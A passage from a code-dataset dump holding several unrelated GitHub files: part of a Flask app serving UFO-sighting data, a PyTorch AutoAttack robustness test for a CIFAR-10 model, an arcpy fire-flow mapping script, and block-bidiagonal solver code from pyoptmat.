json[\"state_long\"],\n \"state_short\": json[\"state_short\"],\n \"sightings_total\" : json[\"sightings_total\"],\n \"Jan\" : json[\"Jan\"],\n \"Feb\" : json[\"Feb\"],\n \"Mar\" : json[\"Mar\"],\n \"Apr\" : json[\"Apr\"],\n \"May\" : json[\"May\"],\n \"Jun\" : json[\"Jun\"],\n \"Jul\" : json[\"Jul\"],\n \"Aug\" : json[\"Aug\"],\n \"Sep\" : json[\"Sep\"],\n \"Oct\" : json[\"Oct\"],\n \"Nov\" : json[\"Nov\"],\n \"Dec\" : json[\"Dec\"],\n })\n sightings_json.append(sightings_dict)\n return jsonify(sightings_json)\n\ntime.sleep(1)\n\n\n\n@app.route(\"/word_cloudusatotals\")\ndef word():\n word_collection = mongo.db.word_cloud_usatotals.find({})\n word_json = []\n for json in word_collection:\n word_dict = {}\n word_dict.update({\n \"word\": json[\"word\"],\n \"count\": json[\"count\"] })\n word_json.append(word_dict)\n return jsonify(word_json)\n\ntime.sleep(1)\n\n\n@app.route(\"/mapping_data\")\ndef data_new():\n\n\n # Select columns 'state_long' and 'mj_legal' from 'alien_data' collection where 'state_long' not equal to \"\"\n # adding _id:0 to remove _id from the dataframe.Then removing duplicates from dataframe.\n mj_legal_df = pd.DataFrame(list(mongo.db.alien_data.find( { \"state_long\": { \"$ne\": \"\" } }, { \"_id\":0, \"state_long\": 1, \"mj_legal\": 1 } )))\n mj_legal_df_unique = mj_legal_df.drop_duplicates()\n\n # Select columns 'state_long' and 'operational_status' from 'military_bases' collection where 'state_long' not equal to \"\" and 'operational_status' is equal to active.\n # adding _id:0 to remove _id from the dataframe. Do groupby based on column 'state_long' and take count.\n miltary_bases_df = pd.DataFrame(list(mongo.db.military_bases.find( { \"state_long\": { \"$ne\": \"\" }, \"operational_status\": \"Active\" },{ \"_id\":0, \"state_long\": 1, \"operational_status\": 1 } )))\n miltary_bases_count = miltary_bases_df.groupby(\"state_long\").count()\n\n # sightings_count_df = pd.DataFrame(list(mongo.db.sightings_count.find( { \"state_long\": { \"$ne\": \"USA\" } }, { \"_id\":0, \"state_long\": 1, \"sightings_total\": 1 } )))\n # Select columns 'state_long', 'state_short' and 'sighings_total' from 'sightings_count' collection where 'state_long' not equal to 'USA'\n sightings_count_df = pd.DataFrame(list(mongo.db.sightings_count.find( { \"state_long\": { \"$ne\": \"USA\" } }, { \"_id\":0, \"state_long\": 1, \"state_short\":1, \"sightings_total\": 1 } )))\n # combining dataframes 'miltary_bases_count' and 'sightings_count_df'\n combined_1_df = pd.merge(miltary_bases_count,sightings_count_df, on='state_long')\n # combining dataframe 'combined_1_df' and 'mj_legal_df_unique'\n combined_df = pd.merge(combined_1_df,mj_legal_df_unique, on='state_long')\n #print(combined_df)\n #print(type(combined_df))\n # converting dataframe to json(but it was in string format)\n combined_df_json = combined_df.to_json(orient='records')\n #print(combined_df_json)\n #print(type(combined_df_json))\n # string to json\n combined_df_json_final = json.loads(combined_df_json)\n #print(combined_df_json_final)\n\n return jsonify(combined_df_json_final)\n\n\n\n# Calling functions \nif __name__ == \"__main__\":\n app.run(debug=True)\n\n\n\n\n\n", "repo_name": "HBarker74582/UFO_2018", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 6412, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 19, "usage_type": "call"}, {"api_name": "flask_pymongo.pymongo.MongoClient", "line_number": 26, "usage_type": "call"}, {"api_name": "flask_pymongo.pymongo", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 76, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 126, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 128, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 142, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 144, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 153, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 158, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 163, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 165, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 167, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 175, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 178, "usage_type": "call"}]} {"seq_id": "18634417461", "text": "import torch\nimport torch.nn as nn\nimport torch.backends.cudnn as cudnn\n\nimport torchvision\nimport torchvision.transforms as transforms\n\nfrom models import *\n#from advertorch.attacks import LinfPGDAttack\nfrom autoattack import AutoAttack\nfrom tqdm import tqdm\nimport argparse\n\nparser = argparse.ArgumentParser(\n description=\"Test the trained model with AutoAttack (l-inf, eps = 8/255).\"\n)\nparser.add_argument(\n \"file_name\",\n type=str,\n help=\"the model to be tested\"\n)\nparser.add_argument(\n \"checkpoint_dir\",\n type=str,\n help=\"directory of the model\"\n)\n\nargs = parser.parse_args()\n\n#file_name = 'pgd_adversarial_training'\nfile_name = args.file_name\ncheckpoint_dir = args.checkpoint_dir\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\n\ntransform_test = transforms.Compose([\n transforms.ToTensor(),\n])\n\ntest_dataset = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform_test)\ntest_loader = torch.utils.data.DataLoader(test_dataset, batch_size=100, shuffle=False, num_workers=4)\n\nnet = ResNet18()\nnet = net.to(device)\nnet = torch.nn.DataParallel(net)\ncudnn.benchmark = True\ncheckpoint = torch.load('./' + checkpoint_dir + '/' + file_name)\n#print('model loaded successfully.')\n#print('device:',device)\nnet.load_state_dict(checkpoint['net'])\n\n#adversary = LinfPGDAttack(net, loss_fn=nn.CrossEntropyLoss(), eps=0.0314, nb_iter=7, eps_iter=0.00784, rand_init=True, clip_min=0.0, clip_max=1.0, targeted=False)\nadversary = AutoAttack(net,norm='Linf',eps=8/255,version='standard')\ncriterion = nn.CrossEntropyLoss()\n\ndef test():\n print('\\n[ Test Start ]')\n net.eval()\n benign_loss = 0\n adv_loss = 0\n benign_correct = 0\n adv_correct = 0\n #print('net.eval() works fine')\n total = 0\n pbar = tqdm(test_loader)\n for inputs, targets in pbar:\n inputs, targets = inputs.to(device), targets.to(device)\n total += targets.size(0)\n\n outputs = net(inputs)\n loss = criterion(outputs, targets)\n benign_loss += loss.item()\n\n _, predicted = outputs.max(1)\n benign_correct += predicted.eq(targets).sum().item()\n\n batch_size = len(targets)\n #adv = adversary.perturb(inputs, targets)\n x_adv = adversary.run_standard_evaluation(inputs,targets,bs=batch_size)\n adv_outputs = net(x_adv)\n loss_adv = criterion(adv_outputs, targets)\n adv_loss += loss_adv.item()\n\n _, adv_predicted = adv_outputs.max(1)\n adv_correct += adv_predicted.eq(targets).sum().item()\n pbar.set_postfix({'benign test accuracy:': predicted.eq(targets).sum().item() / targets.size(0), 'benign test loss': loss.item(), 'adversary test accuracy': adv_predicted.eq(targets).sum().item() / targets.size(0), 'adversary test loss': loss_adv.item()})\n\n print('\\nTotal benign test accuarcy:', 100. * benign_correct / total)\n print('Total adversarial test Accuarcy:', 100. * adv_correct / total)\n print('Total benign test loss:', benign_loss)\n print('Total adversarial test loss:', adv_loss)\n\ntest()\n", "repo_name": "yk803/FML_Project", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 3049, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 33, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Compose", "line_number": 35, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 35, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 36, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 36, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 39, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 40, "usage_type": "attribute"}, {"api_name": "torch.nn.DataParallel", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 46, "usage_type": "call"}, {"api_name": "autoattack.AutoAttack", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 64, "usage_type": "call"}]} {"seq_id": "22932972690", "text": "import arcpy\nfrom arcpy import env\nimport arcpy.mapping\n#from arcpy.sa import *\n\n# Set workspace\nenv.overwriteOutput = True\nwork_space = r\"C:\\Users\\erentschlar\\Desktop\\ToDelete\"\n# arcpy.env.workspace = arcpy.GetParameterAsText(0)\nenv.workspace = work_space\n\n# Script arguments\nsde_GIS_ADMIN_COB_WATER_HYDRANTS = arcpy.GetParameterAsText(0)\nif sde_GIS_ADMIN_COB_WATER_HYDRANTS == '#' or not sde_GIS_ADMIN_COB_WATER_HYDRANTS:\n sde_GIS_ADMIN_COB_WATER_HYDRANTS = \"sde.GIS_ADMIN.COB_WATER_HYDRANTS\" # provide a default value if unspecified\n\nBRYAN__CITY_LIMITS = arcpy.GetParameterAsText(1)\nif BRYAN__CITY_LIMITS == '#' or not BRYAN__CITY_LIMITS:\n BRYAN__CITY_LIMITS = \"BRYAN CITY LIMITS\" # provide a default value if unspecified\n\n# Local variables:\nCOB_Hydrants_shp = sde_GIS_ADMIN_COB_WATER_HYDRANTS\nThiessenPolygon_shp = COB_Hydrants_shp\nThiessenPolygon_shp__3_ = ThiessenPolygon_shp\nThiessenPolygon_shp__5_ = ThiessenPolygon_shp__3_\nThiessenPolygon_shp__4_ = ThiessenPolygon_shp__5_\nFireFlow_shp = ThiessenPolygon_shp__4_\n\n# Process: Select\narcpy.Select_analysis(sde_GIS_ADMIN_COB_WATER_HYDRANTS, COB_Hydrants_shp, \"PITOT_GPM > 0 AND CCN_ENTITY = 'COB'\")\n\n# Process: Create Thiessen Polygons\narcpy.CreateThiessenPolygons_analysis(COB_Hydrants_shp, ThiessenPolygon_shp, \"ALL\")\n\n# Process: Add Field\narcpy.AddField_management(ThiessenPolygon_shp, \"GPM_Range\", \"TEXT\", \"\", \"\", \"\", \"\", \"NULLABLE\", \"NON_REQUIRED\", \"\")\n\n# Process: Calculate Field \narcpy.CalculateField_management(ThiessenPolygon_shp__3_, \"GPM_Range\", \"[PITOT_GPM]\", \"VB\", \"\")\n\n# Process: Calculate Field (2)\narcpy.CalculateField_management(ThiessenPolygon_shp__5_, \"GPM_Range\", \"Reclass(!GPM_Range!)\", \"PYTHON_9.3\", \"def Reclass(GPM_Range):\\\\n if (int(GPM_Range)<=499):\\\\n return \\\"0-499\\\"\\\\n elif (int(GPM_Range)>=500 and int(GPM_Range)<=999):\\\\n return \\\"500-999\\\"\\\\n elif (int(GPM_Range)>=1000 and int(GPM_Range)<=1499):\\\\n return \\\"1000-1499\\\"\\\\n elif (int(GPM_Range)>=1500):\\\\n return \\\"1500-2000\\\"\")\n\n# Process: Clip\narcpy.Clip_analysis(ThiessenPolygon_shp__4_, BRYAN__CITY_LIMITS, FireFlow_shp, \"\")\n\n\n\nmapdoc = arcpy.mapping.MapDocument(r\"G:\\GIS_PROJECTS\\WATER_SERVICES\\Hydrants\\FireFlow.mxd\")\n\n#Data Frame\nlistdf = arcpy.mapping.ListDataFrames(mapdoc)\ndata_frame = listdf[0]\nlistdf[0].scale = 90000\n\n#Paths to the Layers and Shapefiles\n#LyrCL = arcpy.mapping.Layer(r\"G:\\4_LAYERS\\COB_CITY_LIMITS.lyr\")\n#LyrFF = arcpy.mapping.Layer(r\"G:\\GIS_PROJECTS\\WATER_SERVICES\\Hydrants\\FireFlowSymbology.lyr\")\n#LyrST = arcpy.mapping.Layer(r\"G:\\4_LAYERS\\COB_STREET_HISTORY_1996-2014.lyr\")\n\n# Adding the relevant layers\t\n#arcpy.mapping.AddLayer( data_frame ,LyrST,\"TOP\")\n#arcpy.mapping.AddLayer( data_frame ,LyrCL,\"BOTTOM\")\n#arcpy.mapping.AddLayer( data_frame ,LyrFF,\"BOTTOM\")\n\n\n## Page Layout Elements\n# Date for Title\nimport datetime\nmydate = datetime.datetime.now()\nmonth = mydate.strftime(\"%B\")\nyear = mydate.strftime(\"%Y\")\n\n# Set Title Text\ntitle = arcpy.mapping.ListLayoutElements(mapdoc, \"TEXT_ELEMENT\")[0]\ntitle.text = \"Analysis of Measured Fire Flow (Pitot GPM) \" + month + \" \" + year\n\n# May not be necessary \narcpy.RefreshActiveView()\narcpy.RefreshTOC()\nmapdoc.save()\n\n# Create PDF\npdf = r\"G:\\GIS_PROJECTS\\WATER_SERVICES\\Hydrants\\FireFlow\" +month + year + \".pdf\"\narcpy.mapping.ExportToPDF(mapdoc, pdf )\n#\"PAGE_LAYOUT\", , ,300, \"BEST\", \"RGB\", 1,\"ADAPTIVE\", \"RASTERIZE_BITMAP\",0,1,\"LAYERS_ONLY\",1,80\n#arcpy.ApplySymbologyFromLayer_management()\n\n# Finishing \n\ndel mapdoc\n", "repo_name": "bryansandw/Misc", "sub_path": "FireFlow.py", "file_name": "FireFlow.py", "file_ext": "py", "file_size_in_byte": 3478, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "arcpy.env.overwriteOutput", "line_number": 7, "usage_type": "attribute"}, {"api_name": "arcpy.env", "line_number": 7, "usage_type": "name"}, {"api_name": "arcpy.env.workspace", "line_number": 10, "usage_type": "attribute"}, {"api_name": "arcpy.env", "line_number": 10, "usage_type": "name"}, {"api_name": "arcpy.GetParameterAsText", "line_number": 13, "usage_type": "call"}, {"api_name": "arcpy.GetParameterAsText", "line_number": 17, "usage_type": "call"}, {"api_name": "arcpy.Select_analysis", "line_number": 30, "usage_type": "call"}, {"api_name": "arcpy.CreateThiessenPolygons_analysis", "line_number": 33, "usage_type": "call"}, {"api_name": "arcpy.AddField_management", "line_number": 36, "usage_type": "call"}, {"api_name": "arcpy.CalculateField_management", "line_number": 39, "usage_type": "call"}, {"api_name": "arcpy.CalculateField_management", "line_number": 42, "usage_type": "call"}, {"api_name": "arcpy.Clip_analysis", "line_number": 45, "usage_type": "call"}, {"api_name": "arcpy.mapping.MapDocument", "line_number": 49, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 49, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.ListDataFrames", "line_number": 52, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 52, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 70, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.ListLayoutElements", "line_number": 75, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 75, "usage_type": "attribute"}, {"api_name": "arcpy.RefreshActiveView", "line_number": 79, "usage_type": "call"}, {"api_name": "arcpy.RefreshTOC", "line_number": 80, "usage_type": "call"}, {"api_name": "arcpy.mapping.ExportToPDF", "line_number": 85, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 85, "usage_type": "attribute"}]} {"seq_id": "71587277985", "text": "# pylint: disable=abstract-method\n\n\"\"\"\n Functions and objects to help with blocked/chunked time integration.\n\n These include:\n 1. Sparse matrix classes for banded systems\n 2. General sparse matrix classes\n 3. Specialized solver routines working with banded systems\n\"\"\"\n\nimport warnings\nfrom math import prod, log2, floor\n\nimport torch\nfrom torch.nn.functional import pad\nimport numpy as np\n\nfrom pyoptmat.utility import mbmm\n\n\ndef newton_raphson_chunk(\n fn, x0, solver, rtol=1e-6, atol=1e-10, miter=100, throw_on_fail=False\n):\n \"\"\"\n Solve a nonlinear system with Newton's method with a tensor for a\n BackwardEuler type chunking operator context manager.\n\n Args:\n fn (function): function that returns R, J, and the solver context\n x0 (torch.tensor): starting point\n solver (ChunkTimeOperatorSolverContext): solver context\n\n Keyword Args:\n rtol (float): nonlinear relative tolerance\n atol (float): nonlinear absolute tolerance\n miter (int): maximum number of nonlinear iterations\n throw_on_fail (bool): throw exception if solve fails\n\n Returns:\n torch.tensor: solution to system of equations\n \"\"\"\n x = x0\n R, J = fn(x)\n\n nR = torch.norm(R, dim=-1)\n nR0 = nR\n i = 0\n\n while (i < miter) and torch.any(nR > atol) and torch.any(nR / nR0 > rtol):\n x -= solver.solve(J, R)\n R, J = fn(x)\n nR = torch.norm(R, dim=-1)\n i += 1\n\n if i == miter:\n if throw_on_fail:\n raise RuntimeError(\"Implicit solve did not succeed.\")\n warnings.warn(\"Implicit solve did not succeed. Results may be inaccurate...\")\n\n return x\n\n\nclass BidiagonalOperator(torch.nn.Module):\n \"\"\"\n An object working with a Batched block diagonal operator of the type\n\n .. math::\n\n \\\\begin{bmatrix}\n A_1 & 0 & 0 & 0 & \\\\cdots & 0\\\\\\\\\n B_1 & A_2 & 0 & 0 & \\\\cdots & 0\\\\\\\\\n 0 & B_2 & A_3 & 0 & \\\\cdots & 0\\\\\\\\\n \\\\vdots & \\\\vdots & \\\\ddots & \\\\ddots & \\\\ddots & \\\\vdots \\\\\\\\\n 0 & 0 & 0 & B_{n-2} & A_{n-1} & 0\\\\\\\\\n 0 & 0 & 0 & 0 & B_{n-1} & A_n\n \\\\end{bmatrix}\n\n that is, a blocked banded system with the main\n diagonal and the first lower diagonal filled\n\n We use the following sizes:\n - nblk: number of blocks in the square matrix\n - sblk: size of each block\n - sbat: batch size\n\n Args:\n A (torch.tensor): tensor of shape (nblk,sbat,sblk,sblk)\n storing the nblk main diagonal blocks\n B (torch.tensor): tensor of shape (nblk-1,sbat,sblk,sblk)\n storing the nblk-1 off diagonal blocks\n \"\"\"\n\n def __init__(self, A, B, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.A = A\n self.B = B\n self.nblk = A.shape[0]\n self.sbat = A.shape[1]\n self.sblk = A.shape[2]\n\n @property\n def dtype(self):\n \"\"\"\n dtype, which is just the dtype of self.diag\n \"\"\"\n return self.A.dtype\n\n @property\n def device(self):\n \"\"\"\n device, which is just the device of self.diag\n \"\"\"\n return self.A.device\n\n @property\n def n(self):\n \"\"\"\n Size of the unbatched square matrix\n \"\"\"\n return self.nblk * self.sblk\n\n @property\n def shape(self):\n \"\"\"\n Logical shape of the dense array\n \"\"\"\n return (self.sbat, self.n, self.n)\n\n\nclass LUFactorization(BidiagonalOperator):\n \"\"\"A factorization that uses the LU decomposition of A\n\n Args:\n A (torch.tensor): tensor of shape (nblk,sbat,sblk,sblk) with the main diagonal\n B (torch.tensor): tensor of shape (nblk-1,sbat,sblk,sblk) with the off diagonal\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self._setup_factorization()\n\n def _setup_factorization(self):\n \"\"\"\n Form the factorization...\n\n Args:\n diag (torch.tensor): diagonal blocks of shape (nblk, sbat, sblk, sblk)\n \"\"\"\n self.lu, self.pivots, _ = torch.linalg.lu_factor_ex(self.A)\n\n def forward(self, v):\n \"\"\"\n Run the solve using the linear algebra type interface\n with the number of blocks and block size squeezed\n\n Args:\n v (torch.tensor): tensor of shape (sbat, sblk*nblk)\n \"\"\"\n return (\n self.matvec(\n v.reshape((self.sbat, self.nblk, self.sblk))\n .transpose(0, 1)\n .unsqueeze(-1)\n .contiguous()\n )\n .squeeze(-1)\n .transpose(0, 1)\n .flatten(start_dim=1)\n )\n\n\ndef thomas_solve(lu, pivots, B, v):\n \"\"\"Simple function implementing a Thomas solve\n\n Solves in place of v\n\n Args:\n lu (torch.tensor): factorized diagonal blocks, (nblk,sbat,sblk,sblk)\n pivots (torch.tensor): pivots for factorization\n B (torch.tensor): lower diagonal blocks (nblk-1,sbat,sblk,sblk)\n v (torch.tensor): right hand side (nblk,sbat,sblk)\n \"\"\"\n i = 0\n v[i] = torch.linalg.lu_solve(lu[i], pivots[i], v[i])\n for i in range(1, lu.shape[0]):\n v[i] = torch.linalg.lu_solve(\n lu[i], pivots[i], v[i] - torch.bmm(B[i - 1], v[i - 1].clone())\n )\n\n return v\n\n\nclass BidiagonalThomasFactorization(LUFactorization):\n \"\"\"\n Manages the data needed to solve our bidiagonal system via Thomas\n factorization\n\n Args:\n A (torch.tensor): tensor of shape (nblk,sbat,sblk,sblk) with the main diagonal\n B (torch.tensor): tensor of shape (nblk-1,sbat,sblk,sblk) with the off diagonal\n \"\"\"\n\n def matvec(self, v):\n \"\"\"\n Complete the backsolve for a given right hand side\n\n Args:\n v (torch.tensor): tensor of shape (nblk, sbat, sblk, 1)\n \"\"\"\n return thomas_solve(self.lu, self.pivots, self.B, v)\n\n\nclass BidiagonalPCRFactorization(LUFactorization):\n \"\"\"\n Manages the data needed to solve our bidiagonal system via parallel cyclic reduction\n\n Args:\n A (torch.tensor): tensor of shape (nblk,sbat,sblk,sblk) with the main diagonal\n B (torch.tensor): tensor of shape (nblk-1,sbat,sblk,sblk) with the off diagonal\n \"\"\"\n\n def matvec(self, v):\n \"\"\"\n Complete the backsolve for a given right hand side\n\n Args:\n v (torch.tensor): tensor of shape (nblk, sbat, sblk, 1)\n \"\"\"\n # We could do this in place if it wasn't for the pad\n self.B = pad(self.B, (0, 0, 0, 0, 0, 0, 1, 0))\n\n # Now figure out how many powers of 2 we need to complete our matrix\n for s, e in zip(*self._pow2(self.nblk)):\n self.B[s + 1 : e], v[s + 1 : e] = self._solve_block(\n self.lu[s:e], self.pivots[s:e], self.B[s:e], v[s:e]\n )\n\n # To retain consistent sizes\n self.B = self.B[1:]\n\n return torch.linalg.lu_solve(self.lu, self.pivots, v)\n\n def _solve_block(self, lu, pivots, B, v):\n \"\"\"Solve a subsection of the matrix via PCR\n\n Args:\n lu (torch.tensor): (ncurr,sbat,sblk,sblk)\n pivots (torch.tensor): (ncurr,sbat,sblk)\n B (torch.tensor): (ncurr,sbat,sblk,sblk)\n v (torch.tensor): (ncurr,sbat,sblk,1)\n \"\"\"\n # Number of iterations required to reduce this block\n niter = lu.shape[0].bit_length() - 1\n\n # Add the extra working dimension to the start of everything\n lu = lu.unsqueeze(0)\n pivots = pivots.unsqueeze(0)\n B = B.unsqueeze(0)\n v = v.unsqueeze(0)\n\n # Actually start reduction!\n for i in range(niter):\n # Reduce RHS\n v[:, 1:] -= mbmm(\n B[:, 1:], torch.linalg.lu_solve(lu[:, :-1], pivots[:, :-1], v[:, :-1])\n )\n\n # Reduce off diagonal coefficients\n B[:, 2:] = -mbmm(\n B[:, 2:],\n torch.linalg.lu_solve(lu[:, 1:-1], pivots[:, 1:-1], B[:, 1:-1]),\n )\n\n # Shuffle dimensions\n v = self._cyclic_shift(v, i)\n B = self._cyclic_shift(B, i)\n lu = self._cyclic_shift(lu, i)\n pivots = self._cyclic_shift(pivots, i)\n\n return B.squeeze(1)[1:], v.squeeze(1)[1:]\n\n @staticmethod\n def _pow2(n):\n \"\"\"Calculate submatrix sizes\n\n Args:\n n (int): number of blocks\n\n Returns:\n two lists, one giving start block indices and the\n second giving end block indices.\n\n The first (start,end) pair is the largest power of 2 that fits in\n n. Subsequent pairs are the largest power of 2 that fit in the remainder\n *with one overlap between the next increment and the previous*.\n \"\"\"\n\n def sz(n):\n return 2 ** floor(log2(n))\n\n start = [0]\n end = [sz(n)]\n n -= end[-1]\n\n while n > 0:\n cz = sz(n + 1)\n start.append(end[-1] - 1)\n end.append(start[-1] + cz)\n n -= cz - 1\n\n return start, end\n\n @staticmethod\n def _cyclic_shift(A, n):\n \"\"\"Provide a view of the input with a cyclic shift applied\n\n Args:\n A (torch.tensor): input tensor\n n (int): number of cyclic shifts\n \"\"\"\n return A.as_strided(\n (A.shape[0] * 2, A.shape[1] // 2) + A.shape[2:],\n (prod(A.shape[2:]), 2 ** (n + 1) * prod(A.shape[2:])) + A.stride()[2:],\n )\n\n\nclass BidiagonalHybridFactorization(BidiagonalPCRFactorization):\n \"\"\"A factorization approach that switches from PCR to Thomas\n\n Specifically, this class uses PCR until the PCR chunk size is\n smaller than user provided minimum chunk size. Then it switches\n to Thomas.\n\n Args:\n A (torch.tensor): tensor of shape (nblk,sbat,sblk,sblk) with the main diagonal\n B (torch.tensor): tensor of shape (nblk-1,sbat,sblk,sblk) with the off diagonal\n\n Keyword Args:\n min_size (int): minimum block size, default is zero\n \"\"\"\n\n def __init__(self, *args, min_size=0, **kwargs):\n super().__init__(*args, **kwargs)\n\n # I use < below...\n self.min_size = min_size + 1\n\n def matvec(self, v):\n \"\"\"\n Complete the backsolve for a given right hand side\n\n Args:\n v (torch.tensor): tensor of shape (nblk, sbat, sblk, 1)\n \"\"\"\n # We could do this in place if it wasn't for the pad\n self.B = pad(self.B, (0, 0, 0, 0, 0, 0, 1, 0))\n\n # Get the PCR blocks to actually use\n start, end, last = self._pcr_blocks()\n\n # Do PCR\n for s, e in zip(start, end):\n self.B[s + 1 : e], v[s + 1 : e] = self._solve_block(\n self.lu[s:e], self.pivots[s:e], self.B[s:e], v[s:e]\n )\n\n # To retain consistent sizes\n self.B = self.B[1:]\n\n # We still need to solve the first block even if last is 0\n\n # The actual LU solve for the solution\n v[:last] = torch.linalg.lu_solve(self.lu[:last], self.pivots[:last], v[:last])\n\n # Now take over for Thomas\n for i in range(last, self.nblk):\n # The .clone() here should not be necessary, but for whatever\n # reason torch autograd give the usual \"in place\" complaint\n # without it...\n v[i] = torch.linalg.lu_solve(\n self.lu[i],\n self.pivots[i],\n v[i] - torch.bmm(self.B[i - 1], v[i - 1].clone()),\n )\n\n return v\n\n def _pcr_blocks(self):\n \"\"\"Figure out the PCR blocks we are actually going to use\"\"\"\n # Figure out which blocks we're going to use\n start, end = self._pow2(self.nblk)\n # These are sorted...\n blk_size = [e - s for e, s in zip(end, start)]\n if blk_size[0] < self.min_size:\n return [], [], 1\n\n ilast = [i for i, j in enumerate(blk_size) if j < self.min_size]\n if len(ilast) == 0:\n ilast = len(start)\n else:\n ilast = ilast[0]\n\n start = start[:ilast]\n end = end[:ilast]\n\n return start, end, end[-1]\n\n\nclass BidiagonalForwardOperator(BidiagonalOperator):\n \"\"\"\n A batched block banded matrix of the form:\n\n .. math::\n\n \\\\begin{bmatrix}\n A_1 & 0 & 0 & 0 & \\\\cdots & 0\\\\\\\\\n B_1 & A_2 & 0 & 0 & \\\\cdots & 0\\\\\\\\\n 0 & B_2 & A_3 & 0 & \\\\cdots & 0\\\\\\\\\n \\\\vdots & \\\\vdots & \\\\ddots & \\\\ddots & \\\\ddots & \\\\vdots \\\\\\\\\n 0 & 0 & 0 & B_{n-2} & A_{n-1} & 0\\\\\\\\\n 0 & 0 & 0 & 0 & B_{n-1} & A_n\n \\\\end{bmatrix}\n\n that is, a blocked banded system with the main\n diagonal and first lower block diagonal filled\n\n We use the following sizes:\n - nblk: number of blocks in the square matrix\n - sblk: size of each block\n - sbat: batch size\n\n Args:\n A (torch.tensor): tensor of shape (nblk,sbat,sblk,sblk)\n storing the nblk diagonal blocks\n B (torch.tensor): tensor of shape (nblk-1,sbat,sblk,sblk)\n storing the nblk-1 off diagonal blocks\n \"\"\"\n\n def __init__(self, *args, inverse_operator=BidiagonalThomasFactorization, **kwargs):\n super().__init__(*args, **kwargs)\n self.inverse_operator = inverse_operator\n\n def to_diag(self):\n \"\"\"\n Convert to a SquareBatchedBlockDiagonalMatrix, for testing\n or legacy purposes\n \"\"\"\n return SquareBatchedBlockDiagonalMatrix([self.A, self.B], [0, -1])\n\n def forward(self, v):\n \"\"\"\n :math:`A \\\\cdot v` in an efficient manner\n\n Args:\n v (torch.tensor): batch of vectors\n \"\"\"\n # Reshaped v\n vp = (\n v.view(self.sbat, self.nblk, self.sblk)\n .transpose(0, 1)\n .reshape(self.sbat * self.nblk, self.sblk)\n .unsqueeze(-1)\n )\n\n # Actual calculation\n b = torch.bmm(self.A.view(-1, self.sblk, self.sblk), vp)\n b[self.sbat :] += torch.bmm(\n self.B.view(-1, self.sblk, self.sblk), vp[: -self.sbat]\n )\n\n return (\n b.squeeze(-1)\n .view(self.nblk, self.sbat, self.sblk)\n .transpose(1, 0)\n .flatten(start_dim=1)\n )\n\n def inverse(self):\n \"\"\"\n Return an inverse operator\n \"\"\"\n return self.inverse_operator(self.A, self.B)\n\n\nclass ChunkTimeOperatorSolverContext:\n \"\"\"\n Context manager for solving sparse chunked time systems\n\n Args:\n solve_method: one of \"dense\" or \"direct\"\n \"\"\"\n\n def __init__(self, solve_method):\n\n if solve_method not in [\"dense\", \"direct\"]:\n raise ValueError(\"Solve method must be one of dense or direct\")\n self.solve_method = solve_method\n\n def solve(self, J, R):\n \"\"\"\n Actually solve Jx = R\n\n Args:\n J (BidiagonalForwardOperator): matrix operator\n R (torch.tensor): right hand side\n \"\"\"\n if self.solve_method == \"dense\":\n return self.solve_dense(J, R)\n if self.solve_method == \"direct\":\n return self.solve_direct(J, R)\n raise RuntimeError(\"Unknown solver method...\")\n\n def solve_dense(self, J, 